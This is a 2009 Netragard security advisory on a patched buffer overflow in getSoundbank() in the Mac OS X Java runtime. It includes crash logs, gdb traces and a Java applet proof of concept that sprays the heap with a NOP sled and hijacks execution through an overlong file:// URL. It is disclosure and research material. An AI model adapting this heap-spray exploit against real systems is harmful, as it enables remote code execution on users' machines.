Netragard Security Advisory 2009-12-19

                							

                [Advisory Summary]
-----------------------------------------------------------------------
Advisory Author      : Adriel T. Desautels
Researcher      : Kevin Finisterre
Advisory ID      : NETRAGARD-20091219
Product Name      : Mac OS X Java Runtime
Product Version      : < Java for Mac OS X 10.6 Update 1
Vendor Name      : http://www.apple.com, http://www.sun.com
Type of Vulnerability    : Buffer Overflow
Impact        : Arbitrary Code Execution
Vendor Notified      : Yes
Patch Released      : http://support.apple.com/kb/HT3969
Discovery Date      : 11/13/2009

[POSTING NOTICE]
-----------------------------------------------------------------------
If you intend to post this advisory on your web-site you must provide
a clickable link back to http://www.netragard.com. The contents of
this advisory may be updated without notice.

[Product Description]
-----------------------------------------------------------------------
Mac OS X is the only major consumer operating system that comes complete
with a fully configured and ready-to-use Java runtime and development
environment. Professional Java developers are increasingly turning to
the feature-rich Mac OS X as the operating system of choice for both
Mac-based and cross-platform Java development projects. Mac OS X  
includes
the full version of J2SE 1.5, pre-installed with the Java Development
Kit (JDK) and the HotSpot virtual machine (VM), so you don't have to
download, install, or configure anything.

Deploying Java applications on Mac OS X takes advantage of many built-in
features, including 64-bit support, resolution independence, automatic
support of multiprocessor hardware, native support for the Java
Accessibility API, and the native Aqua look and feel. As a result,
Java applications on Mac OS X look and perform like native applications
on Mac OS X.


[Technical Summary]
-----------------------------------------------------------------------
On November 4th, 2009 ZDI-09-076 was released and subsequently credited
to 'Anonymous'. Given the historic track record with regards to lagging
behind 3rd party "coordinated" disclosures we decided to validate
wether or not OSX was vulnerable in its current state. More importantly
we wanted to validate that the vulnerable classes were reachable via
standard web browser.

The ZDI release contained limited information but that didn't prevent
us from creating a working Proof of Concept ("PoC") for this issue.

As previously mentioned, the prime reason that we decided to look into  
this
vulnerability was because we suspected that it was possible to remotely
trigger and exploit the risk via the Safari Web Browser.  We were right.

The easiest way to validate this was to find an example applet that used
the getSoundbank() function and then to modify
it.

A quick glance at the Sun manual page gave us a hint as to how to
use the function.

http://java.sun.com/j2se/1.3/docs/api/javax/sound/midi/MidiSystem.html#getSoundbank(java.net.URL)

public static Soundbank getSoundbank(URL url)
throws InvalidMidiDataException, IOException
Constructs a Soundbank by reading it from the specified URL.
The URL must point to a valid MIDI soundbank file.

Parameters:
url - the source of the sound bank data

Returns:
the sound bank

Throws:
InvalidMidiDataException - if the URL does not point to valid MIDI  
soundbank data recognized by the system
IOException - if an I/O error occurred when loading the soundbank

We used a google query to find an example:
http://www.google.com/search?hl=en&source=hp&q=javax.sound.midi+getSoundbank+applet&aq=f&oq=&aqi=

Luckily the example was an applet which eliminates the question of
accessibility to the vulnerability via applet tag.

http://music.columbia.edu/pipermail/jmsl/2004-November/000555.html

If you modify the above code example we can trigger the bug and get
and some additional information about it.

All of the testing below was done with appletviewer and the following
html page, coupled with our compiled proof of concept class.

$ cat index.html
<title> getSoundBank pwn </title>
</head><body>

<applet code="test.class" width="150" height="25">
</applet>


[Technical Details]
-----------------------------------------------------------------------
http://www.zerodayinitiative.com/advisories/ZDI-09-076/ tells us there
is a 'vulnerability [that] allows remote attackers to execute arbitrary
code on vulnerable installations of Sun Microsystems Java.'

ZDI also states that 'The specific flaw exists in the parsing of
long file:// URL arguments to the getSoundbank() function.' and that
'Exploitation of this vulnerability can lead to system compromise under
the credentials of the currently logged in user.'

The code shown below in the Proof of Concept section allows us to  
validate
the statements made by ZDI by triggering the bug and subsequently  
crashing
the JVM.

When the JVM crashes it leaves a log behind in the /Library/Logs/Java
folder that provides useful information.

$ ls /Library/Logs/Java/
JavaNativeCrash_pid1815.crash.log

One of the important things recorded to the log is the address of
the JVM's heap. Since a heap spray is used to place shellcode at
a usable address this is quite useful.

$ cat /Library/Logs/Java/JavaNativeCrash_pid1815.crash.log

Java information:
Version: Java HotSpot(TM) Client VM (1.5.0_13-119 mixed mode, sharing)
Virtual Machine version: Java HotSpot(TM) Client VM (1.5.0_13-119) for \
macosx-x86, built on Sep 28 2007 23:59:21 by root with gcc 4.0.1  
(Apple \
Inc. build 5465)

Exception type: Bus Error (0xa) at pc=0x1755c81b

Current thread (0x0100e010):  JavaThread "thread applet-test.class"\
  [_thread_in_native, id=9097216]

Stack: [0xb0d97000,0xb0e17000)
Java frames: (J=compiled Java code, j=interpreted, Vv=VM code)
j  com.sun.media.sound.HeadspaceSoundbank.nOpenResource(Ljava/lang/ 
String;)J+0
j  com.sun.media.sound.HeadspaceSoundbank.initialize(Ljava/lang/ 
String;)V+7
j  com.sun.media.sound.HeadspaceSoundbank.<init>(Ljava/net/URL;)V+89
j  com.sun.media.sound.HsbParser.getSoundbank(Ljava/net/URL;)Ljavax/ 
sound/midi/Soundbank;+5
j  javax.sound.midi.MidiSystem.getSoundbank(Ljava/net/URL;)Ljavax/ 
sound/midi/Soundbank;+36
j  test.init()V+339
j  sun.applet.AppletPanel.run()V+197
j  java.lang.Thread.run()V+11
v  ~StubRoutines::call_stub
Java Threads: ( => current thread )
   0x01011980 JavaThread "Java Sound Event Dispatcher" daemon  
[_thread_blocked, id=9269760]
   0x01011790 JavaThread "Java Sound Event Dispatcher" daemon  
[_thread_blocked, id=9266176]
   0x01011310 JavaThread "AWT-EventQueue-1" [_thread_blocked,  
id=9249792]
   0x01001440 JavaThread "DestroyJavaVM" [_thread_blocked,  
id=-1333784576]
   0x0100e210 JavaThread "AWT-EventQueue-0" [_thread_blocked,  
id=9107968]
=>0x0100e010 JavaThread "thread applet-test.class" [_thread_in_native,  
id=9097216]
   0x0100cb90 JavaThread "Java2D Disposer" daemon [_thread_blocked,  
id=9035264]
   0x0100bda0 JavaThread "AWT-Shutdown" [_thread_blocked, id=8834048]
   0x0100b900 JavaThread "AWT-AppKit" daemon [_thread_in_native,  
id=-1607766176]
   0x01009050 JavaThread "Low Memory Detector" daemon  
[_thread_blocked, id=8411136]
   0x01008580 JavaThread "CompilerThread0" daemon [_thread_blocked,  
id=8506880]
   0x01008120 JavaThread "Signal Dispatcher" daemon [_thread_blocked,  
id=8503296]
   0x01007810 JavaThread "Finalizer" daemon [_thread_blocked,  
id=8483840]
   0x01007570 JavaThread "Reference Handler" daemon [_thread_blocked,  
id=8480256]
Other Threads:
   0x01006cc0 VMThread [id=8476672]
   0x01009c50 WatcherThread [id=8414720]

VM state:not at safepoint (normal execution)
VM Mutex/Monitor currently owned by a thread: None

Heap
  def new generation   total 4544K, used 3238K [0x25580000,  
0x25a60000, 0x25a60000)
   eden space 4096K,  79% used [0x25580000, 0x258a9b30, 0x25980000)
   from space 448K,   0% used [0x259f0000, 0x259f0000, 0x25a60000)
   to   space 448K,   0% used [0x25980000, 0x25980000, 0x259f0000)
  tenured generation   total 60544K, used 60028K [0x25a60000,  
0x29580000, 0x29580000)
    the space 60544K,  99% used [0x25a60000, 0x294ff048, 0x294ff200,  
0x29580000)
  compacting perm gen  total 8192K, used 1093K [0x29580000,  
0x29d80000, 0x2d580000)
    the space 8192K,  13% used [0x29580000, 0x29691698, 0x29691800,  
0x29d80000)
     ro space 8192K,  63% used [0x2d580000, 0x2da96c48, 0x2da96e00,  
0x2dd80000)
     rw space 12288K,  43% used [0x2dd80000, 0x2e2af088, 0x2e2af200,  
0x2e980000)

Virtual Machine arguments:
  JVM args: -Dapplication.home=/System/Library/Frameworks/ 
JavaVM.framework/Versions/1.5.0/Home
  Java command: sun.applet.Main /Users/hostile/Desktop/index.html
  launcher type: SUN_STANDARD

Note: The heap within appletviewer is located at '0x25580000'

When triggered with Safari the Heap location is slightly different

$ cat /Library/Logs/Java/JavaNativeCrash_pid1815.crash.log
...
Heap
  def new generation   total 6848K, used 5542K [0x1a270000,  
0x1a9d0000, 0x1a9d0000)
...

In that particular trace the Safari Java heap was located at 0x1a270000.

The PoC provided below instructs appletviewer to land in a nopsled.  
Futher
research will yield a functional exploit. In essence this code sprays  
the
heap in order to place attacker controlled code at the proper address  
range
within the heap. With several stack frames under control it is  
possible to
control the flow of execution. Control of an eax address is what leads  
to
final code execution.

0x1891a81b <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource 
+108>:\
  call   *0x2a8(%eax)


[Proof Of Concept]
-----------------------------------------------------------------------

/*

We should only need safe shellcode at this point.

Invalid memory access of location 00000000 eip=256823b6

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00000000
[Switching to process 561 thread 0x15107]
0x256823b6 in ?? ()
(gdb) bt
#0  0x256823b6 in ?? ()
#1  0x188fd821 in  
Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource ()
#2  0x25582126 in ?? ()
Previous frame inner to this frame (gdb could not unwind past this  
frame)

(gdb) x/6x 0x256823b6-12
0x256823aa:  0x90909090  0x90909090  0x90909090  0x00333031
0x256823ba:  0x00330032  0x00010033

We only crash because we ran out of code to execute...
(gdb) x/i $eip
0x256823b6:  xor    %esi,(%eax)
(gdb) i r $esi $eax
esi            0x0  0
eax            0x0  0

notice that frame 1's eip of 0x188fd821 is AFTER the call to eax at  
0x1891a81b

(gdb) x/10i$eip
0x1891a803 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource 
+84>:  mov    (%edx),%eax
0x1891a805 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource 
+86>:  mov    0x10(%ebp),%edx
0x1891a808 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource 
+89>:  mov    %edi,0x8(%esp)
0x1891a80c <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource 
+93>:  mov    %esi,%edi
0x1891a80e <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource 
+95>:  sar    $0x1f,%edi
0x1891a811 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource 
+98>:  mov    %edx,0x4(%esp)
0x1891a815 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource 
+102>:  mov    0x8(%ebp),%edx
0x1891a818 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource 
+105>:  mov    %edx,(%esp)
0x1891a81b <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource 
+108>:  call   *0x2a8(%eax)
0x1891a821 <Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource 
+114>:  add    $0x450,%esp

*/
import javax.sound.midi.*;
import java.io.*;
import java.net.*;

import java.awt.Graphics;
public class test extends java.applet.Applet
{
  public static Synthesizer synth;
  Soundbank soundbank;

  public void init()
  {
    String fName = repeat('/',1080); // OSX Leopard - 10.5 Build 9A581  
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_13- 
b05-237)

    // heap sprayed info starts at 0x25580000+12 but keep in mind we  
need to be fairly ascii safe.
    // 0x20 is not usable
    byte[] frame = {
      (byte)0x22, (byte)0x21, (byte)0x58, (byte)0x25, // frame 1 - ebp
      (byte)0x26, (byte)0x21, (byte)0x58, (byte)0x25, // frame 1 - eip
      (byte)0x22, (byte)0x21, (byte)0x58, (byte)0x25  // frame 0 - edx
    };
    
    String mal = new String(frame);
    
    //System.out.println(mal);

       fName = "file://" + fName + mal;
    try
    {
      synth = MidiSystem.getSynthesizer();
      synth.open();
      System.out.println("Spray heap\n");
      
      String shellcode = "\u41424344" + repeat('\u9090',1000) +  
"\u30313233"; // This is just a nop sled with some heading and  
trailing markers.
      int mb = 1024;

      // Sotirov / Dowd foo follows.
      // http://taossa.com/archive/bh08sotirovdowd.pdf
      
         // Limit the shellcode length to 100KB
      if (shellcode.length() > 100*1024)
      {
        throw new RuntimeException();
      }
        // Limit the heap spray size to 1GB, even though in practice the  
Java
        // heap for an applet is limited to 100MB
         if (mb > 1024)
      {
             throw new RuntimeException();
      }
         // Array of strings containing shellcode
         String[] mem = new String[1024];

         // A buffer for the nop slide and shellcode
         StringBuffer buffer = new StringBuffer(1024*1024/2);

         // Each string takes up exactly 1MB of space
         //
         // header    nop slide   shellcode  NULL
         // 12 bytes  1MB-12-2-x  x bytes    2 bytes

         // Build padding up to the first exception. We will need to set  
the eax address after this padding
      // First usable addresses begin at 0x25580000+0x2121. Unfortunately  
0x20 in our addresses caused issues.   
      // 0x2121 is 8481 in decimal, we subtract a few bytes for munging.
      
         for (int i = 1; i < (8481/2)-4; i++)
      {
             buffer.append('\u4848');
      }
      
      // (gdb) x/10a 0x25582122-4
      //  0x2558211e:  0x48484848  0x20202020  0x20202020  0x20202020
      //  0x2558212e:  0x20202020  0x20202020  0x20202020  0x20202020
      //  0x2558213e:  0x20202020  0x20202020
          
      // Set the call address
      // 0x188fd81b  
<Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource+108>:   
call   *0x2a8(%eax)

      buffer.append('\u2122');
      buffer.append('\u2558');
            
      // 0x2a8 is 680 in decimal, once again we need filler for making  
this a usable address location.
         for (int i = 1; i < (680/2)-1; i++)
      {
             buffer.append('\u4848');
      }
        
      // where do we wanna go? 0x25582525 is right in the middle of the  
following nop sled
      // (gdb) x/5x 0x25582525
      //  0x25582525:  0x90909090  0x90909090  0x90909090  0x90909090
      //  0x25582535:  0x90909090

      buffer.append('\u2525');
      buffer.append('\u2558');                                          
                                                  
         // We are gonna place the shellcode after this so simply fill  
in remaining space with nops!
         for (int i = 1; i < (1024*1024-12)/2-shellcode.length(); i++)
      {
             buffer.append('\u9090');
      }

         // Append the shellcode
      buffer.append(shellcode);

         // Run the garbage collector
         Runtime.getRuntime().gc();

         // Fill the heap with copies of the string
         try
      {
        for (int i=0; i<mb; i++)
        {
          mem[i] = buffer.toString();
        }
      }
         catch (OutOfMemoryError err)
      {
             // do nothing
         }
      
      // Trigger the stack overflow.
      synth.loadAllInstruments(MidiSystem.getSoundbank(new URL(fName)));
    }
    catch(Exception e)
    {
      System.out.println(e);
       }
  }
  public void paint(Graphics g)
  {
    g.drawString("Hello pwned!", 50, 25);
  }
  public static String repeat(char c,int i)
  {
    String tst = "";
    for(int j = 0; j < i; j++)
    {
      tst = tst+c;
    }
    return tst;
  }
}

[Fix]
-----------------------------------------------------------------------
http://support.apple.com/kb/HT3969
http://java.sun.com/javase/6/webnotes/ReleaseNotes.html
http://sunsolve.sun.com/search/document.do?assetkey=1-66-270474-1

[Vendor Status]
-----------------------------------------------------------------------
Vendor Notified and issue has been Patched

[Vendor Comments]
-----------------------------------------------------------------------
Java for Mac OS X 10.6 Update 1 is now available and addresses the
following:

CVE-ID: CVE-2009-3869, CVE-2009-3871, CVE-2009-3875, CVE-2009-3874,
CVE-2009-3728, CVE-2009-3872, CVE-2009-3868, CVE-2009-3867,  
CVE-2009-3884,
CVE-2009-3873, CVE-2009-3877, CVE-2009-3865, CVE-2009-3866

Available for: Mac OS X v10.6.2 and later, Mac OS X Server v10.6.2 and  
later

Impact: Multiple vulnerabilities in Java 1.6.0_15

Description: Multiple vulnerabilities exist in Java 1.6.0_15, the most
serious of which may allow an untrusted Java applet to obtain elevated
privileges.

Visiting a web page containing a maliciously crafted untrusted Java  
applet
may lead to arbitrary code execution with the privileges of the  
current user.
These issues are addressed by updating to Java version 1.6.0_17. Further
information is available via the Sun Java website Credit to Kevin  
Finisterre
of Netragard for reporting CVE-2009-3867 to Apple.

[Why]
-----------------------------------------------------------------------
We are often asked "why do you do what you do?". The answer is that
our research helps to educate people about risks that affect them that
might otherwise go unnoticed. Often times our research ends up plugging
holes that might end up resulting in a successful compromise if left
unchecked. Want proof?  Take a look at some of the comments taken
from the article below:

http://www.theregister.co.uk/2009/12/04/mac_windows_java_attack/

Comment 1: Ben Lambert writes
-----------------------------
"Oh that's just wonderful. So I can't update my
machines to a newer Java version because it breaks my critical app..
..or i can get exploited. I love my job."

Comment 2: windywoo wrote
-------------------------
"This article was the first I heard about the patch so I checked
Software Update and there it was."


[Disclaimer]
----------------------http://www.netragard.com-------------------------
Netragard, L.L.C. assumes no liability for the use of the information
provided in this advisory. This advisory was released in an effort to
help the I.T. community protect themselves against a potentially
dangerous security hole. This advisory is not an attempt to solicit
business.

<a href="http://www.netragard.com>
http://www.netragard.com
</a>





<p>